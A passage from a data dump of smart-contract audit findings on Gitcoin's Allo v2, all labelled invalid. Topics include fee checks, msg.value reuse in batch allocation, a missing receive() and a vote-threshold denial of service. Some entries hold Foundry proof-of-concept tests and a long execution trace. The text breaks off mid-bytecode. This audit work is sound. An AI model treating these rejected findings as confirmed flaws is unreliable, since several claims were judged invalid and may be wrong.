//\n //\n // Update baseFee to 1e17.\n uint256 baseFee = 1e17;\n allo().updateBaseFee(baseFee);\n //\n // Give to the pool_admin 10e18 tokens so he can have funds.\n vm.deal(address(pool_admin()), 10e18);\n //\n // Send 1e18 (amountToFund) to fund the pool + 1e17 as fees.\n // The transaction will be reverted by NOT_ENOUGH_FUNDS error.\n // That is incorrect because the user is obligated to send more funds and lose the surplus amount\n uint256 amountToFund = 1e18;\n vm.startPrank(pool_admin());\n vm.expectRevert(NOT_ENOUGH_FUNDS.selector);\n allo().createPoolWithCustomStrategy{value: amountToFund + baseFee}(\n poolProfile_id(),\n strategy,\n \"0x\",\n NATIVE,\n amountToFund, // 1e18 amount to fund\n metadata,\n pool_managers()\n );\n //\n // Send a little more funds suplusAmount (1e10) in order to NOT get reverted by the creationPool\n uint256 suplusAmount = 1e10;\n allo().createPoolWithCustomStrategy{value: amountToFund + baseFee + suplusAmount}(\n poolProfile_id(),\n strategy,\n \"0x\",\n NATIVE,\n amountToFund, // 1e18 amount to fund\n metadata,\n pool_managers()\n );\n //\n // pool_admin loses suplusAmount (1e10)\n assertEq(pool_admin().balance, 10e18 - amountToFund - baseFee - suplusAmount);\n //\n // Strategy balance is the amountToFund (1e18) - feeAmount\n uint256 feeAmt = (amountToFund * 1e16) / 1e18;\n assertEq(strategy.balance, amountToFund - feeAmt); \n //\n // Allo contract has the surplus amount (1e10)\n assertEq(address(allo()).balance, suplusAmount);\n vm.stopPrank();\n }\n```\nI added the next line in the `MockStrategy.sol` contract:\n\n```solidity\nFile: MockStrategy.sol\n92: receive() external payable {\n93: }\n```\n\n## Impact\n\nUser is forced to send more `NATIVE` tokens when the `baseFee` is configured causing the lost of the surplus sent amount. Users will lost `NATIVE` tokens.\n\n## Code Snippet\n\n- [Allo::_createPool()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415)\n\n## Tool used\n\nManual review\n\n## Recommendation\n\nChange the next validation so it is not necessary to send more tokens than the needed:\n\n```diff\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n...\n...\n...\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n-- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n++ if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/525.md"}} +{"title":"Updating the timestamps while the pool is active could have unintended consequences","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# Updating the timestamps while the pool is active could have unintended consequences\nUpdating the timestamps while the pool is active could have unintended consequences..\n## Vulnerability Detail\n1. The QVBaseStrategy contract has timestamps for the registration and allocation periods: [Link 1](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L88-L91)\n2. These can be updated by the pool manager using the updatePoolTimestamps() function: [Link 2](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L295-L300) and [Link 3](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L351-L354)\n\n If the pool manager calls this during the allocation period to extend the registrationEndTime, new recipients could register and unfairly participate in voting.\n For example, if originally:\n - registrationEndTime was Jan 1\n - allocationStartTime was Jan 2\n And the manager updates during allocation to:\n - registrationEndTime extended to Jan 5\n Any new registrants between Jan 2 and Jan 5 could now participate in voting, even though registration was meant to be closed.\n\n## Impact\nSpecifically, extending the registration period while voting is happening could allow new registrants to unfairly participate in the voting\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L88-L91\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L295-L300\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L351-L354\n## Tool used\n\nManual Review\n\n## Recommendation\nThe contract could add a check in updatePoolTimestamps() to prevent changing timestamps while the pool is active.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/524.md"}} +{"title":"Allo.sol","severity":"info","body":"Joyful Fern Turtle\n\nmedium\n\n# Allo.sol\nbatchAllocate() - calls the strategies allocate function with same msg.value each time\n## Vulnerability Detail\nbatch_allocate() function in Allo contract is intended to allocate funds to multiple pools in the same transaction. \n\nThe batch_allocate() function calls the _allocate() internal function for each pair of poolID and datas. which further calls the allocate function in the respective strategies. While calling the the allocate() function of the strategy's, the internal _allocate() function sends the value as msg.value\n\nSo, for all the pair of poolId s passed to the batch_allocate() , will call the respective strategy's allocate function with same msg.value each time. \n\nThe msg.value recieved one time, will be sent each time to n calls, if n is the length of poolIds.\n\n## Impact\nIf the user calls with a large list of poolIds, then the msg.value will sent be each time to the strategies from the allo contract\n\n## Code Snippet\n![image](https://github.com/sherlock-audit/2023-09-Gitcoin-aamirmk/assets/81402829/7d0d1b9d-4508-401d-b223-f76dc03b975b)\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L362\n\n![image](https://github.com/sherlock-audit/2023-09-Gitcoin-aamirmk/assets/81402829/804b5465-f0e6-462f-ae43-9d18b2aed68e)\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L492\n\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAccount for the value sent each time to the strategies, and check call only if total is less than or equal to msg.value","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/522.md"}} +{"title":"QVSimpleStrategy contract is not functioning with native token as pool's token","severity":"info","body":"Immense Teal Penguin\n\nmedium\n\n# QVSimpleStrategy contract is not functioning with native token as pool's token\nQVSimpleStrategy contract is not functioning with native token as pool's token\n## Vulnerability Detail\nThe QVSimpleStrategy contract doesn't have `receive()` function, which mean pool manager can't send fund through `Allo.fundPool()`, which mean it's impossible to call the function `QVSimpleStrategy.increasePoolAmount()`, which mean the `poolAmount` variable of QVSimpleStrategy will always be ZERO. Hence, it's impossible for recipient to receive funds\n\n`Allo.fundPool()`:\n```solidity\n function fundPool(uint256 _poolId, uint256 _amount) external payable nonReentrant {\n if (_amount == 0) revert NOT_ENOUGH_FUNDS();\n\n _fundPool(_amount, _poolId, pools[_poolId].strategy);\n }\n```\n`Allo._fundPool()`:\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n ...\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee})); //<@@ because QVSimpleStrategy contract doesn't have receive(), this will be reverted\n _strategy.increasePoolAmount(amountAfterFee); //<@@ this is the only way to call to increasePoolAmount()\n\n ...\n }\n```\n`BaseStrategy.increasePoolAmount()`:\n```solidity\n function increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount);\n\n poolAmount += _amount; //<@@ this is the only way to increase poolAmount\n\n _afterIncreasePoolAmount(_amount);\n }\n```\n`QVBaseStrategy._getPayout()`:\n```solidity\n function _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes; //<@@ because poolAmount always be ZERO, this will always be ZERO too\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n```\n`QVBaseStrategy._distribute()`:\n```solidity\n function _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender)\n onlyAfterAllocation\n {\n uint256 payoutLength = _recipientIds.length;\n for (uint256 i; i < payoutLength;) {\n address recipientId = _recipientIds[i];\n Recipient storage recipient = recipients[recipientId];\n\n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n\n uint256 amount = payout.amount; //<@@ amount will always be ZERO\n\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n _transferAmount(pool.token, recipient.recipientAddress, amount); //<@@ sending ZERO amount to recipient\n\n paidOut[recipientId] = true;\n\n emit Distributed(recipientId, recipient.recipientAddress, amount, _sender);\n unchecked {\n ++i;\n }\n }\n }\n```\n## Impact\nThis will make the QVSimpleStrategy contract unusable with native token as pool's token \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L339C1-L345C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L502C1-L520C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L153C1-L157C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559C1-L574C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436C1-L465C6\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd receive() function to QVSimpleStrategy contract","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/521.md"}} +{"title":"Removing an allocator doesn't prevent them from submitting further allocations. It just flips their \"allowed\" mapping to false. Their previous allocations still stand.","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# Removing an allocator doesn't prevent them from submitting further allocations. It just flips their \"allowed\" mapping to false. Their previous allocations still stand.\nThe current logic does not prevent previous influence by removed allocators\n## Vulnerability Detail\n1. The allowedAllocators mapping tracks which addresses are permitted to allocate voice credits: [Link 1](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L47)\n2. When an allocator is removed via removeAllocator(), it simply sets their allowedAllocators entry to false: [Link 2](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L97-L101)\n3. However, this does NOT revoke any previous allocations they made when allowedAllocators[_allocator] was true. The _allocate() function only checks if they are allowed at the time of the call: [Link3](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L115) and [Link 4](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L136-L137)\n\nSo a removed allocator could still impact votes if they had previously allocated a large number of credits that remain assigned to recipients.\n\n\n## Impact\n- This can allow abuse by allocators allocating a lot up front before being removed.\n- A removed allocator could still influence votes and outcomes based on their prior allocations.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L47\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L97-L101\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L115\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L136-L137\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAllocation amounts could be stored per allocator and reset on removal","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/520.md"}} +{"title":"Gas optimization: cache array length outside for loop and use pre decrement operator","severity":"info","body":"Hidden Seafoam Condor\n\nmedium\n\n# Gas optimization: cache array length outside for loop and use pre decrement operator\nusing the .length statement within for loop uses a lot of gas\nusing post decrement operator uses more gas \n\n## Vulnerability Detail\n\n\n## Impact\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L347\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L357\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L627\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\nline: 347\nuint statusesLength = statuses.length;\nfor (uint256 i; i < statusesLength;) {\n\nlint 357 & 627:\n++i;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/519.md"}} +{"title":"DOS if Voting Threshold is Zero or Very Large in `RFPCommitteeStrategy::allocate()`","severity":"info","body":"Suave Crimson Peacock\n\nmedium\n\n# DOS if Voting Threshold is Zero or Very Large in `RFPCommitteeStrategy::allocate()`\n\nAccording to the initialization function of the If the `RFPCommitteeStrategy`, voting threshold can be set to anything (even zero). voting Threshold is set to zero or set to very large number, then the `RFPCommitteeStrategy::allocate()` will never work and `acceptedRecipientId` will always remain address zero.\n\n## Vulnerability Detail\n\n`RFPCommitteeStrategy::allocate()` function depends on the votes of the manager in order to set the `acceptedRecipientId`. This `acceptedRecipientId` will be set only if the `votingThreshold` is met. But when the threshold is set to zero or set to very large number (technically a number more than the number of pool managers), then the function will never work because of the following check:\n\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L126-L137\n\nAccording to the above check `acceptedRecipientId` will be set when `votes[recipientId] == voteThreshold`. If the threshold is zero then this condition will never met because votes[recipientId] gets incremented before this check on the following line:\n\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L118\n\nThe same is also true when the threshold is a large number. Because there are less managers than the threshold this condition will never met as `votes[recipientId]` will never become more than the threshold. Only way to make this work is if we add more managers in the pool. But adding more managers means giving more power to more people and that means more risk of theft and attacks. So it should never be the case.\n\nAlso there is no function in the contract to set this threshold after initialization.\n\n## Impact\n\nImportant functions like `RFPCommitteeStrategy::submitUpcomingMilestone()`, `RFPCommitteeStrategy::distribute()` etc. depends on `accpetedRecipientId`. If this is not set these function will not work. That means `poolOwner` will have to withdraw the funds and will have to deploy new strategy again.\n\n## Code Snippet\n\n_RFPCommitteeStrategy::allocate()_\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102-L139\n\n#### Tests for POC\n\nTest when Threshold is zero\n\n```Javascript\n function test_allocateWouldNeverWorkIfVotingThresholdIsZero() public {\n vm.recordLogs();\n // owners and members\n address manager1 = makeAddr(\"manager_1\");\n address manager2 = makeAddr(\"manager_2\");\n address manager3 = makeAddr(\"manager_3\");\n address manager4 = makeAddr(\"manager_4\");\n address profileOwner = makeAddr(\"profile_Ownerr\");\n address recipient = makeAddr(\"recipient__1\");\n\n address[] memory poolManagers = new address[](4);\n poolManagers[0] = manager1;\n poolManagers[1] = manager2;\n poolManagers[2] = manager3;\n poolManagers[3] = manager4;\n\n // creating profile for the pool owner\n vm.prank(profileOwner);\n bytes32 newProfileId = registry().createProfile(\n 0, \"New Pool 1\", Metadata({protocol: 1, pointer: \"Profile Metadata 1\"}), profileOwner, profile1_members()\n );\n\n // deploying the strategy\n vm.prank(profileOwner);\n RFPCommitteeStrategy testStrategy2 = new RFPCommitteeStrategy(address(allo()), \"committe strategy 2\");\n\n // setting voteTreshold to 0\n bytes memory dataForInitialization = abi.encode(\n RFPCommitteeStrategy.InitializeParamsCommittee({\n voteThreshold: 0,\n params: RFPSimpleStrategy.InitializeParams({\n maxBid: 10 ether,\n useRegistryAnchor: false,\n metadataRequired: true\n })\n })\n );\n\n // profie owner creates pool\n // for simplicity, i have deployed the strategy with createPoolWithCustomStrategy() instead\n // of adding it to the cloneable strategies and then creating the pool with createPool()\n vm.startPrank(profileOwner);\n uint256 newPoolId = allo().createPoolWithCustomStrategy(\n newProfileId,\n address(testStrategy2),\n dataForInitialization,\n address(token),\n 0,\n Metadata({protocol: 1, pointer: \"Create Pool Metadata\"}),\n poolManagers\n );\n\n // deployed strategy should have correct pool id\n assertEq(testStrategy2.getPoolId(), newPoolId);\n\n // registering recipient\n address recipientId = _register_recipient(newPoolId, testStrategy2, recipient, profileOwner);\n\n // data for allocate function\n bytes memory _data = abi.encode(recipientId, 10 ether, Metadata({protocol: 1, pointer: \"allocate metadata\"}));\n\n // calling allocate for each pool manager\n // proving that setting voting threshold to zero would not work as it would never reach\n // 0 because when allocate() is called it will add one vote to the called reciepientId\n // and the allocating condition will never met.\n\n for (uint256 i; i < poolManagers.length; i++) {\n vm.startPrank(poolManagers[i]);\n allo().allocate(newPoolId, _data);\n vm.stopPrank();\n }\n\n // will always be address 0\n assertEq(testStrategy2.acceptedRecipientId(), address(0));\n }\n\n```\n\n\n
\nOutput\n\n```bash\nTraces:\n [10135368] RFPCommitteeStrategyTest::setUp() \n ā”œā”€ [2129265] ā†’ new Registry@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f\n ā”‚ ā””ā”€ ā† 10635 bytes of code\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† registry_owner: [0x258d92158E12b867DEb88eff01D1496334c77576]\n ā”œā”€ [0] VM::label(registry_owner: [0x258d92158E12b867DEb88eff01D1496334c77576], registry_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [48636] Registry::initialize(registry_owner: [0x258d92158E12b867DEb88eff01D1496334c77576])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x815b5a78dc333d344c7df9da23c04dbd432015cc701876ddb9ffe850e6882747, account: registry_owner: [0x258d92158E12b867DEb88eff01D1496334c77576], sender: RFPCommitteeStrategyTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) \n ā”‚ ā”œā”€ emit Initialized(version: 1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]\n ā”œā”€ [0] VM::label(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], pool_admin)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]\n ā”œā”€ [0] VM::label(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], pool_admin)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107]\n ā”œā”€ [0] VM::label(pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], pool_manager1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f]\n ā”œā”€ [0] VM::label(pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], pool_manager2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [522450] Registry::createProfile(0, Pool Profile 1, (1, PoolProfile1), pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], [0x05800FAD118693c398e4E1ceFBb1FAC54537b107, 0xF49D32655a289163297342376EA91F6434cff60f])\n ā”‚ ā”œā”€ [1617] ā†’ new @0xaD92F0f1b8BcC455322094820e4a1BC90875c5A1\n ā”‚ ā”‚ ā””ā”€ ā† 8 bytes of code\n ā”‚ ā”œā”€ [266159] 0xaD92F0f1b8BcC455322094820e4a1BC90875c5A1::60c06040(5234801561001057600080fd5b5060405161051438038061051483398101604081905261002f9161003b565b3360805260a052610054565b60006020828403121561004d57600080fd5b5051919050565b60805160a05161048f610085600039600081816056015261012c015260008181609d015261015b015261048f6000f3fe6080604052600436106100385760003560e01c806308386eba146100445780637b1039991461008b578063b61d27f6146100d757600080fd5b3661003f57005b600080fd5b34801561005057600080fd5b506100787f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b34801561009757600080fd5b506100bf7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610082565b3480156100e357600080fd5b506100f76100f23660046102e4565b610104565b60405161008291906103e1565b6040517f39b86b8c0000000000000000000000000000000000000000000000000000000081527f000000000000000000000000000000000000000000000000000000000000000060048201523360248201526060907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906339b86b8c90604401602060405180830381865afa1580156101aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ce9190610414565b610204576040517f075fd2b100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600160a01b03841661022b576040516384aed38d60e01b815260040160405180910390fd5b600080856001600160a01b03168585604051610247919061043d565b60006040518083038185875af1925050503d8060008114610284576040519150601f19603f3d011682016040523d82523d6000602084013e610289565b606091505b5091509150816102ac576040516384aed38d60e01b815260040160405180910390fd5b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000806000606084860312156102f957600080fd5b83356001600160a01b038116811461031057600080fd5b925060208401359150604084013567ffffffffffffffff8082111561033457600080fd5b818601915086601f83011261034857600080fd5b81358181111561035a5761035a6102b5565b604051601f8201601f19908116603f01168101908382118183101715610382576103826102b5565b8160405282815289602084870101111561039b57600080fd5b8260208601602083013760006020848301015280955050505050509250925092565b60005b838110156103d85781810151838201526020016103c0565b50506000910152565b60208152600082518060208401526104008160408501602087016103bd565b601f01601f19169190910160400192915050565b60006020828403121561042657600080fd5b8151801515811461043657600080fd5b9392505050565b6000825161044f8184602087016103bd565b919091019291505056fea2646970667358221220ce97c29421aa3f96b075f54f4a6280bca1e9451421cba9f159f59de67de39bdb64736f6c63430008130033b3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182)\n ā”‚ ā”‚ ā”œā”€ [233889] ā†’ new Anchor@0xE4C662c4b8018EEA89294209Cd34Efb150EF4297\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† 1167 bytes of code\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, account: pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, account: pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit ProfileCreated(profileId: 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, nonce: 0, name: Pool Profile 1, metadata: (1, PoolProfile1), owner: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], anchor: Anchor: [0xE4C662c4b8018EEA89294209Cd34Efb150EF4297])\n ā”‚ ā””ā”€ ā† 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182\n ā”œā”€ [3776] Registry::getProfileById(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182) [staticcall]\n ā”‚ ā””ā”€ ā† (0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, 0, Pool Profile 1, (1, PoolProfile1), 0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019, 0xE4C662c4b8018EEA89294209Cd34Efb150EF4297)\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d]\n ā”œā”€ [0] VM::label(profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d], profile1_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d]\n ā”œā”€ [0] VM::label(profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d], profile1_owner)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile1_member1: [0x32AA463a3F1fc42AbEAD98584E6A73826124B214]\n ā”œā”€ [0] VM::label(profile1_member1: [0x32AA463a3F1fc42AbEAD98584E6A73826124B214], profile1_member1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile1_member2: [0x1ed2CE7e57A08c9a31c35782c6016318f2B53150]\n ā”œā”€ [0] VM::label(profile1_member2: [0x1ed2CE7e57A08c9a31c35782c6016318f2B53150], profile1_member2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [522450] Registry::createProfile(0, Profile 1, (1, Profile1), profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d], [0x32AA463a3F1fc42AbEAD98584E6A73826124B214, 0x1ed2CE7e57A08c9a31c35782c6016318f2B53150])\n ā”‚ ā”œā”€ [1617] ā†’ new @0x8411887dF1099B97792398f36630a770e062C779\n ā”‚ ā”‚ ā””ā”€ ā† 8 bytes of code\n ā”‚ ā”œā”€ [266159] 0x8411887dF1099B97792398f36630a770e062C779::60c06040(5234801561001057600080fd5b5060405161051438038061051483398101604081905261002f9161003b565b3360805260a052610054565b60006020828403121561004d57600080fd5b5051919050565b60805160a05161048f610085600039600081816056015261012c015260008181609d015261015b015261048f6000f3fe6080604052600436106100385760003560e01c806308386eba146100445780637b1039991461008b578063b61d27f6146100d757600080fd5b3661003f57005b600080fd5b34801561005057600080fd5b506100787f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b34801561009757600080fd5b506100bf7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610082565b3480156100e357600080fd5b506100f76100f23660046102e4565b610104565b60405161008291906103e1565b6040517f39b86b8c0000000000000000000000000000000000000000000000000000000081527f000000000000000000000000000000000000000000000000000000000000000060048201523360248201526060907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906339b86b8c90604401602060405180830381865afa1580156101aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ce9190610414565b610204576040517f075fd2b100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600160a01b03841661022b576040516384aed38d60e01b815260040160405180910390fd5b600080856001600160a01b03168585604051610247919061043d565b60006040518083038185875af1925050503d8060008114610284576040519150601f19603f3d011682016040523d82523d6000602084013e610289565b606091505b5091509150816102ac576040516384aed38d60e01b815260040160405180910390fd5b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000806000606084860312156102f957600080fd5b83356001600160a01b038116811461031057600080fd5